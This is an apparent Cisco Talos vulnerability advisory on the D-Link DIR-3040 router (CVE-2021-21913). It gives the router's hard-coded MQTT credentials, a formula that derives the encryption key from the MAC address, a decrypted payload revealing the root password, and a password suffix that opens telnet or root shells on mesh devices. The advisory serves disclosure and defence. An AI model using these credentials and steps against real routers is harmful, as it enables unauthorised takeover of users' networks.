Talos Vulnerability Report

TALOS-2021-1361

D-LINK DIR-3040 WiFi Smart Mesh information disclosure vulnerability

SEPTEMBER 23, 2021

CVE NUMBER

CVE-2021-21913

Summary

An information disclosure vulnerability exists in the WiFi Smart Mesh functionality of D-LINK DIR-3040 1.13B03. A specially-crafted network request can lead to command execution. An attacker can connect to the MQTT service to trigger this vulnerability.

Tested Versions

D-LINK DIR-3040 1.13B03

Product URLs

https://us.dlink.com/en/products/dir-3040-smart-ac3000-high-power-wi-fi-tri-band-gigabit-router

CVSSv3 Score

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-798 - Use of Hard-coded Credentials

Details

The DIR-3040 is an AC3000-based wireless internet router.

An MQTT service exists on the device to provide communications for D-LINK's Wifi Mesh capabilities. This service is enabled by default and accepts any subscriber on the network as long as they provide valid credentials. However, these credentials are hard-coded and can be obtained one of their shared libraries.

```
From /lib/libapson_mqtt_api.so:
.rodata:0000291C        00000006        C       apson // Username
.rodata:00002924        00000006        C       wrsdd // Password
```

The MQTT payload data contains specific information needed by secondary routers and extenders to configure the mesh network. In particular, the root password of the primary device is propagated amongst this data to these secondary nodes. Typical traffic looks like the following:

```
TOPIC: master
PAYLOAD:
00000000: 00 00 00 07 00 01 34 0A  33 8F 69 05 00 00 01 00  ......4.3.i.....
00000010: 00 00 03 11 A3 30 41 8D  A1 3C 1A F2 C1 73 2B 27  .....0A..<...s+'
00000020: 5B 5A 16 C4 3C 8E F6 68  C2 D6 B2 A8 39 EF AF E3  [Z..<..h....9...
00000030: CF F9 BD 7E E0 0D 2E 4E  3D CF 2C 14 10 6C 9C 6C  ...~...N=.,..l.l
00000040: 71 48 47 6C 23 F2 F0 E5  CD 50 F9 84 1F F3 3C 49  qHGl#....P....<I
<snipped for brevity>
000002C0: 0B D9 26 37 E9 42 DE A8  2C 65 4B A9 7C B2 FE EF  ..&7.B..,eK.|...
000002D0: B5 E3 CF 81 C2 E4 8A 05  F4 BF AC 46 9D 4D 5B 40  ...........F.M[@
000002E0: 19 B1 F1 32 DD 2E 04 B8  6B 9A 54 4E FB 52 69 7D  ...2....k.TN.Ri}
000002F0: 6C 0F 4D 99 80 26 2F 83  5C 68 69 F7 A1 C8 02 07  l.M..&/.\hi.....
00000300: 75 E8 FA A6 8C 54 02 42  B4 C8 C4 69 CC DD 3A 2D  u....T.B...i..:-
00000310: 70 5C 3E 52 2E F2 45 8B  66 F2 F0 5F 61 B0 D6 DC  p\>R..E.f.._a...
00000320: 5F 61 44 50 25 A7 61 4E  2C 54 D5 44 65 62 2E 8C  _aDP%.aN,T.Deb..
00000330: D2 E6 DE EF                                      ....
```

The payload data is serialized as Protocol Buffer data. While the plaintext Protocol Buffer schema is not available, it is not required to deserialize useful information from many of the published MQTT payloads. However, the more sensitive payloads (such as the one above that contains the root password on the device) are encrypted via AES (with a NULL initialization vector).

The information needed to generate a valid key for decrypting the payload resides within the payload itself. In each encrypted payload, the publisher's MAC address is listed at offsets 0x6->0xB. As we can see in the `/usr/bin/apsond` binary on the target, the key is generated by using the MAC address in a `snprintf()` call using the following format string:

```
0040a5fc             snprintf(&$key, 0x10, "%02xw%02Xr%02xs%02Xd%02Xd%02x", zx.d(*(mqtt_payload + 7)), zx.d(*(mqtt_payload + 9)), zx.d(*
(mqtt_payload + 0xb)), zx.d(*(mqtt_payload + 6)), zx.d(*(mqtt_payload + 8)), zx.d(*(mqtt_payload + 0xa)))
```

The characters 'wrsdd' are also inserted between each byte. (Note that the 5th byte of the MAC address is omitted due to the null terminator). Which is essentially:

```
key = ("%sw%sr%ss%sd%sd\x00" % (macBytes[1], macBytes[3].upper(), macBytes[5], macBytes[0].upper(), macBytes[2].upper())).encode('utf-8')
```

Using the information above, we can see the MAC address is `34:0A:33:8F:69:05`. This can be used to generate the following key for this particular payload:

```
Key:
00000000: 30 61 77 38 46 72 30 35  73 33 34 64 33 33 64 00  0aw8Fr05s34d33d.
```

Once we have the key, we can decrypt the traffic above:

```
Decrypted:
00000000: 08 9C 9C B8 75 12 0F 2F  74 6D 70 2F 73 62 64 5F  ....u../tmp/sbd_
00000010: 63 6F 6E 66 69 67 1A 27  08 FD C1 EF 86 FA FF FF  config.'........
00000020: FF FF 01 12 03 62 72 30  1A 0B 6D 65 73 68 5F 39  .....br0..mesh_9
00000030: 33 38 31 42 35 22 08 44  41 50 2D 31 38 32 30 22  381B5".DAP-1820"
00000040: D4 02 08 DD F5 B4 D1 05  10 04 1A 4F 08 A8 A5 BE  ...........O....
<snipped for brevity>
000002C0: 2A 0E 6E 74 70 31 2E 64  6C 69 6E 6B 2E 63 6F 6D  *.ntp1.dlink.com
000002D0: 6A 3F 08 B4 E5 D3 CC 06  1A 08 50 61 73 73 77 30  j?........Passw0
000002E0: 72 64 22 19 68 74 74 70  3A 2F 2F 64 6C 69 6E 6B  rd".http://dlink
000002F0: 72 6F 75 74 65 72 2E 6C  6F 63 61 6C 2F 30 01 3A  router.local/0.:
00000300: 10 41 6D 65 72 69 63 61  2F 4E 65 77 5F 59 6F 72  .America/New_Yor
00000310: 6B                                               k
```

Though unecessary for this attack, we could even go a step further and decode the protocol buffer data:

```
13 <chunk> = message:
    1 <varint> = 1771369140
    3 <chunk> = "Passw0rd" // Here is our root password
    4 <chunk> = "http://dlinkrouter.local/"
    6 <varint> = 1
    7 <chunk> = "America/New_York"
```

An attacker could then use this information to login to the web-based administrator console or append `@twsz2018` to the password as in the following example:

```
Passw0rd@twsz2018
```

to login to the telnet/libcli service on the DIR-3040 (as seen in TALOS-2021-1284/CVE-2021-21819) or other devices on the mesh network (such as the DAP-1820 which will give you a root shell once the telnet service is started in the same manner as described in TALOS-2021-1285/CVE-2021-21820).

An attacker can also take advantage of other useful functions within the mesh network by simply publishing the appropriate payloads to the correct topic. These functions provide many remote capabilities such as rebooting any device on the mesh network and/or kicking out devices within the mesh completely.

Timeline

2021-08-24 - Vendor Disclosure
2021-09-23 - Public Release

CREDIT

Discovered by Dave McDaniel of Cisco Talos.
